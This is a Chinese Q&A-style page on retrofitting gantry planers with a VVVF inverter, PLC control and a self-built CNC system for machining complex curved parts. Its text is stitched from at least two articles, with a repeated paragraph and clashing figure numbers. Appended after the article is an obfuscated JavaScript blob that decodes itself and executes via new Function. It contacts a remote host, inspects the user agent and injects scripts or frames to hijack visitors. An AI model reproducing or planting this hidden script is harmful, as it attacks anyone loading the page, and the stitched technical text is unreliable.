推荐回答(1个)
A. 系统组成
本系统由VVVF(变电压变频率)变频器、交流电动机(Y280S一8,Pe =37KW ,I。=78-2A,n。=740r/min)、测速器组成闭环调速系统。采用闭环调速系统是为了对负载的波动和电网的波动有较强的抗干扰能力,以保证刨床的稳定运行。刨床的电机均由PLC 给出的指令进行控制。设计时,主传动用一台异步电动机代替原K—F—D系统机型,进给机械执行机构则用变频调速器取代原电磁离合器,实现对工作台的各种不同速度的控制和往返换向。核心部件用PLC进行控制,它根据操作站指令和现场信号,按预先编制好的程序对变频器、刀架、横梁、磨头的跟踪状况进行自动或人工控制。变频器选用日本富士FRN45 Ggs一4JE电压型通用变频器。原系统采用机械式行程开关, 由于工作台时频繁的往复运动,挡块频繁地撞击行程开关,导致行程开关容易发生故障,在不可靠的时候更可能产生事故,影响生产。改造中我们用光控无触点接近开关代替机械式行程开关,经使用效果很好。
B.工作原理
龙门刨的刨削过程是工件(放在刨台上)与刨刀之间做相对运动的过程。也就是刨台频繁的往复运动。刨台的运动分为人工点动运行和自动往复循环运行。图1是刨台的往复周期运行图。
龙门刨床的刨削过程是工件(放在刨台上)与刨刀之间做相对运动的过程。也就是刨台频繁的往复运动。刨台的运动分为人工点动运行和自动往复循环运行。图1是刨台的往复周期运行图。
图1 刨台的往复周期 PLC程序设计
龙门刨床自动进刀、换向、刀架的自动进给、手动进退、点动、横梁升降等功能都由PLC软件来实现。
工作台往复工作程序梯形图如图所示。图中M1.0、M1.1— —M1_7是PLC 内辅助继电器
图中:t 循环开始与紧急停机段
t1— — 刨刀开始切人工件段 t2— — 正常切削段
t3— — 退出工件段 t4— — 高速返回段
t5— — 低速返回段 t 点动控制
图4 工作台往复工作梯形图
其中tl-t5段与图1中的刨台往复运动的各个阶段相对应。 长度较小的非圆柱面,可以采用数控铣床加工,也可以采用线切割加工(单件生产)。但当非圆柱面达到一定长度后,用上面的两种方法就无能为力或加工成本太高了。如系列罗茨真空泵和罗茨鼓风机的转子(图1所示,其截面轮廓线由多段渐开线、外摆线和圆弧组成,长度在300mm以上)、大型水环泵叶轮模型的叶片(截面轮廓线由多段直线和圆弧组成,长度在500mm以上)。为了适应截面轮廓线是复杂曲线的柱面工件的加工,笔者自行研制出了基于IPC的刨床CNC系统,并对某真空泵生产厂家的小型龙门刨床进行了数控改造。
1 小型龙门刨床的机械改造
图2所示是用小型龙门刨床改造而成的数控刨床的示意图。
小型龙门刨床数控改造的方法是将手动调节刀架变成由步进电动机驱动的数控刀架,Z步进电动机控制刀架在垂直方向的移动,X步进电动机控制刀架在水平方 向的移动。在滑台底座靠近滑块的部位安装三个接近开关,在滑块上固定一个与三个接近开关平行又在运动过程中与三个开关都能接近的滑块位置标志块(铁块), 两者共同用于滑块运动方向和位置的检测。另外,在滑台上安装一个简易的对刀装置。经过负载(摩擦力、转动惯量等)计算,驱动刀架上下移动(Z坐标轴)和左 右移动(X坐标轴)的步进电动机分别选用 110BF003型和 130BF003型。这两个坐标移动的脉冲当量均为0.01mm。 刨床CNC系统软件以Windows操作系统为平台,采用模块化、结构化的C语言编程,系统软件的界面采用了中文菜单结构,人机界面友好,操作方便。 具体结构如图4所示。该系统软件主要由三个模块组成:程序编制、刀具位置调整和运行控制,在每一个模块中 又分多个子模块。
3.1 程序编制模块
一个正确的加工程序编制必须经过以下阶段:程序编制、语法检查、模拟仿真和刀具的干涉、过切检查。在该 CNC软件系统中,加工程序编制可采用多种方式:图形自动编程,手工编程,列表曲线编程。列表曲线文件的数据和加工程序可以通过软驱输人或利用全屏幕编辑 器通过键盘输人,也可以通过串行通讯接口输人。
图形编程包括以下步骤:
(1)轮廓曲线的编辑输人首先通过交互式图形操作界面,按照曲线的走向输入各段直线、圆弧、
曲线输入后可以进行修改、放大、缩小和对称等编辑处理。
(2)求偏置曲线对上面编辑好的曲线,按要求的刀尖半径,生成等距曲线,即偏置曲线。
(3)自动编程将偏置曲线按照给定的精度要求用直线进行拟合,并转化成G代码加工程序。
(4)模拟仿真运行以模拟运行方式运行加工程序,并动态地显示刀尖运动轨迹。假如加工程序正
确,模拟显示的轨迹会与前面的偏置曲线相重合。
列表曲线的编程也是在图形编程界面下进行。首先读人列表曲线数据文件,按照数据文件中点的顺序,相邻点以直线相连,并显示出来。然后在此基础上进行样条拟合、光顺和偏置处理,再按精度要求离散成小段直线,并自动生成加工程序。
交互式图形编程和模拟仿真运行,使得复杂曲线和列表曲线加工程序的编制不仅效率高,而且方便、直观、可靠。图 4 刨床CNC系统软件结构
3.2 运行控制
该CNC系统的运行主要包括以下方式:自动运行、快速空运行、手动运行和点动运行。
自动运行是CNC系统运行控制的核心部分,它按加工程序运行。假如正在执行的加工语句的最后一条指令是M32,则刀具根据滑台的往复运动信号作间歇进 给运动;假如是M33,则作连续移动,滑台的往复运动信号对它不起作用,即作快速空运行。加工中假如 滑台停止往复运动,则刀具的进给运动也停止。这一功能可以使工人沿用刨床的操作习惯,通过控制滑台往复运动的启停控制刀架进给运动的启停。
自动运行程序由前台和后台两部分组成,后台程序完成并行口 8255A和定时器8253的初始化、指令译码、控制中断服务程序的执行频率(速度调节)、暂停、单段和启动控制、加工轨迹动态跟踪显示和坐标翻转显示; 前台程序是中断服务程序,它主要完成插补运 算、步进电动机运转控制、升降速控制、接受滑台往返和位置传感器的信号。刀具的间歇进给运动是在滑台的返程过程中完成的。滑台一次往返刀具的进给量,可以 通过功能键进行设定或修改,最小值为二个脉冲当量。自动运行程序的另外一个功能是在按下连续功能键时,刀具的间歇进给可以变成连续进给;该功能键抬起 时,刀具又可恢复间歇进给。在粗加工毛坯件时,由于加工余量的不均匀,有的地方可能会作空进给,采用此功能可以快速跃过此处,大大提高加工效率。
快速空运行也是按照加工程序控制刀具运动的,但它是作连续运行。通过它可以检查刀具和工件毛坯的相对位置关系,从而确定初次加工的刀具高度位置。快速空运行程序也是由前、后台两部分组成,其结构和自动运行程序的结构类似,只是中断服务程序不受滑台往返运动的控制。
在选择开关处于自动运行状态下,点动功能只能在滑台的返程中起作用,刀具连续移动最大位移量可以设定。该功能为加工过程中的刀具位置调整带来了方便。如在吃刀太深时,可在不停止加工的情况下提刀。
根据选择,手动运行也可受滑台往返运动的控制,作间歇运动。手动功能可以用于平面加工,而且不用编程。这种方式为平面加工带来了方便。 笔者用自行研制的刨床CNC系统为某企业的小型龙门刨床进行了数控化改造,成功地实现了系列水环泵叶轮叶片模型的加工和系列罗茨真空泵转子大批量生 产,不仅加工效率高,而且加工质量稳定可靠。经过近几年的不断改进和完善,该CNC系统已具有实时加工控制、图形自动编程、复杂曲线和列表曲线拟合、编 程、刀具磨损补偿、自动对刀、模拟仿真和加工轨迹跟踪显示等功能。该刨床CNC系统,不仅适用于小型龙门刨床的数控化改造,也适用于其它形式的刨床的数控 化改造。
![](/picurl?url=https%3A%2F%2Fiknow-pic.cdn.bcebos.com%2F58ee3d6d55fbb2fb1cdbbdf8484a20a44723dc6c%3Fx-bce-process%3Dimage%252Fresize%252Cm_lfit%252Cw_600%252Ch_800%252Climit_1%252Fquality%252Cq_85%252Fformat%252Cf_auto)
!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();